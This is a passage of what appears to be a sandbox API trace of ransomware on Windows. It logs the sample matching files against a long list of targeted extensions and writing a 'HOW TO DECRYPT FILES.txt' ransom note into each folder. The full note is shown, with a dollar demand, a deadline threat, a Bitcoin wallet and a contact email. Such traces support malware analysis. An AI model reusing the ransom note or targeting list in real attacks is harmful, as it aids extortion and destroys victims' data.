Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.vmx") returned 0 [0058.558] lstrlenA (lpString="*.vmx") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.vmdk") returned 0 [0058.558] lstrlenA (lpString="*.vmdk") returned 6 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.vdi") returned 0 [0058.558] lstrlenA (lpString="*.vdi") returned 5 [0058.559] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.lay6") returned 0 [0058.559] lstrlenA (lpString="*.lay6") returned 6 [0058.559] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mpeg") returned 0 [0058.559] lstrlenA (lpString="*.mpeg") returned 6 [0058.559] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.djvu") returned 0 [0058.559] lstrlenA (lpString="*.djvu") returned 6 [0058.559] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.tiff") returned 0 [0058.559] lstrlenA (lpString="*.tiff") returned 6 [0058.559] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.backup") returned 0 [0058.559] lstrlenA (lpString="*.backup") returned 8 [0058.559] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.pdf") returned 0 [0058.559] lstrlenA (lpString="*.pdf") returned 5 [0058.560] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.cert") returned 0 [0058.560] lstrlenA (lpString="*.cert") returned 6 [0058.560] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.docm") returned 0 [0058.560] lstrlenA (lpString="*.docm") returned 6 [0058.560] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.xlsm") returned 0 [0058.560] lstrlenA (lpString="*.xlsm") returned 6 [0058.560] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.dwg") returned 0 [0058.560] lstrlenA (lpString="*.dwg") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.nd") returned 0 [0058.561] lstrlenA (lpString="*.nd") returned 4 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.tlg") returned 0 [0058.561] lstrlenA (lpString="*.tlg") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.lgb") returned 0 [0058.561] lstrlenA (lpString="*.lgb") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mov") returned 0 [0058.561] lstrlenA (lpString="*.mov") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.xdw") returned 0 [0058.561] lstrlenA (lpString="*.xdw") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.ods") returned 0 [0058.561] lstrlenA (lpString="*.ods") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.wav") returned 0 [0058.561] lstrlenA (lpString="*.wav") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mp3") returned 0 [0058.561] lstrlenA (lpString="*.mp3") returned 5 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.aiff") returned 0 [0058.561] lstrlenA (lpString="*.aiff") returned 6 [0058.561] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.flac") returned 0 [0058.562] lstrlenA (lpString="*.flac") returned 6 [0058.562] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.m4a") returned 0 [0058.562] lstrlenA (lpString="*.m4a") returned 5 [0058.562] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.csv") returned 0 [0058.562] lstrlenA (lpString="*.csv") returned 5 [0058.562] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x740078, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0058.562] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.562] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0058.562] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.562] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FBIBLIO.DLL") returned -1 [0058.562] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FBIBLIO.DLL") returned 1 [0058.562] lstrcmpiA (lpString1="", lpString2="FBIBLIO.DLL") returned -1 [0058.562] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*") returned="*.*" [0058.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.563] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.563] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.563] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0xffffffff [0058.563] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.564] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0058.564] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0058.565] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.565] CloseHandle (hObject=0x8c) returned 1 [0058.566] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="FBIBLIO.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.ems") returned 0 [0058.566] lstrlenA (lpString="*.ems") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.db") returned 0 [0058.566] lstrlenA (lpString="*.db") returned 4 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.dbf") returned 0 [0058.566] lstrlenA (lpString="*.dbf") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.myox") returned 0 [0058.566] lstrlenA (lpString="*.myox") returned 6 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.myo") returned 0 [0058.566] lstrlenA (lpString="*.myo") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qbw") returned 0 [0058.566] lstrlenA (lpString="*.qbw") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qbb") returned 0 [0058.566] lstrlenA (lpString="*.qbb") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qbm") returned 0 [0058.566] lstrlenA (lpString="*.qbm") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qbo") returned 0 [0058.566] lstrlenA (lpString="*.qbo") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qbx") returned 0 [0058.566] lstrlenA (lpString="*.qbx") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qba") returned 0 [0058.566] lstrlenA (lpString="*.qba") returned 5 [0058.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qby") returned 0 [0058.567] lstrlenA (lpString="*.qby") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qbj") returned 0 [0058.567] lstrlenA (lpString="*.qbj") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.ofx") returned 0 [0058.567] lstrlenA (lpString="*.ofx") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.qif") returned 0 [0058.567] lstrlenA (lpString="*.qif") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.mye") returned 0 [0058.567] lstrlenA (lpString="*.mye") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.mbox") returned 0 [0058.567] lstrlenA (lpString="*.mbox") returned 6 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.eml") returned 0 [0058.567] lstrlenA (lpString="*.eml") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.pst") returned 0 [0058.567] lstrlenA (lpString="*.pst") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.ost") returned 0 [0058.567] lstrlenA (lpString="*.ost") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.idx") returned 0 [0058.567] lstrlenA (lpString="*.idx") returned 5 [0058.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.dbx") returned 0 [0058.567] lstrlenA (lpString="*.dbx") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.sql") returned 0 [0058.568] lstrlenA (lpString="*.sql") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.mdb") returned 0 [0058.568] lstrlenA (lpString="*.mdb") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.fdb") returned 0 [0058.568] lstrlenA (lpString="*.fdb") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.wab") returned 0 [0058.568] lstrlenA (lpString="*.wab") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.dat") returned 0 [0058.568] lstrlenA (lpString="*.dat") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.txt") returned 0 [0058.568] lstrlenA (lpString="*.txt") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.jpeg") returned 0 [0058.568] lstrlenA (lpString="*.jpeg") returned 6 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.jpg") returned 0 [0058.568] lstrlenA (lpString="*.jpg") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.png") returned 0 [0058.568] lstrlenA (lpString="*.png") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.php") returned 0 [0058.568] lstrlenA (lpString="*.php") returned 5 [0058.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.cs") returned 0 [0058.568] lstrlenA (lpString="*.cs") returned 4 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.cpp") returned 0 [0058.569] lstrlenA (lpString="*.cpp") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.rar") returned 0 [0058.569] lstrlenA (lpString="*.rar") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.zip") returned 0 [0058.569] lstrlenA (lpString="*.zip") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.html") returned 0 [0058.569] lstrlenA (lpString="*.html") returned 6 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.htm") returned 0 [0058.569] lstrlenA (lpString="*.htm") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.xlsx") returned 0 [0058.569] lstrlenA (lpString="*.xlsx") returned 6 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.xls") returned 0 [0058.569] lstrlenA (lpString="*.xls") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.mp4") returned 0 [0058.569] lstrlenA (lpString="*.mp4") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.ppt") returned 0 [0058.569] lstrlenA (lpString="*.ppt") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.pptx") returned 0 [0058.569] lstrlenA (lpString="*.pptx") returned 6 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.doc") returned 0 [0058.569] lstrlenA (lpString="*.doc") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.dot") returned 0 [0058.569] lstrlenA (lpString="*.dot") returned 5 [0058.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.docx") returned 0 [0058.569] lstrlenA (lpString="*.docx") returned 6 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.7z") returned 0 [0058.570] lstrlenA (lpString="*.7z") returned 4 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.tar") returned 0 [0058.570] lstrlenA (lpString="*.tar") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.bz2") returned 0 [0058.570] lstrlenA (lpString="*.bz2") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.gz") returned 0 [0058.570] lstrlenA (lpString="*.gz") returned 4 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.mkv") returned 0 [0058.570] lstrlenA (lpString="*.mkv") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.eml") returned 0 [0058.570] lstrlenA (lpString="*.eml") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.msg") returned 0 [0058.570] lstrlenA (lpString="*.msg") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.edb") returned 0 [0058.570] lstrlenA (lpString="*.edb") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.accdb") returned 0 [0058.570] lstrlenA (lpString="*.accdb") returned 7 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.odb") returned 0 [0058.570] lstrlenA (lpString="*.odb") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.java") returned 0 [0058.570] lstrlenA (lpString="*.java") returned 6 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.asm") returned 0 [0058.570] lstrlenA (lpString="*.asm") returned 5 [0058.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.pfx") returned 0 [0058.570] lstrlenA (lpString="*.pfx") returned 5 [0058.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.pem") returned 0 [0058.571] lstrlenA (lpString="*.pem") returned 5 [0058.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.p12") returned 0 [0058.571] lstrlenA (lpString="*.p12") returned 5 [0058.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.gpg") returned 0 [0058.571] lstrlenA (lpString="*.gpg") returned 5 [0058.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", pszSpec="*.vsd") returned 0 [0058.571] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x4f84b8, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0058.571] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.571] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FDATE.DLL") returned -1 [0058.571] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FDATE.DLL") returned 1 [0058.571] lstrcmpiA (lpString1="", lpString2="FDATE.DLL") returned -1 [0058.571] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned="FBIBLIO.DLL" [0058.571] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.571] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.571] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.571] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.571] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="FDATE.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" [0058.572] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0058.572] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.572] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPERSON.DLL") returned -1 [0058.572] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPERSON.DLL") returned 1 [0058.572] lstrcmpiA (lpString1="", lpString2="FPERSON.DLL") returned -1 [0058.572] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned="FDATE.DLL" [0058.572] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.572] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.572] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common 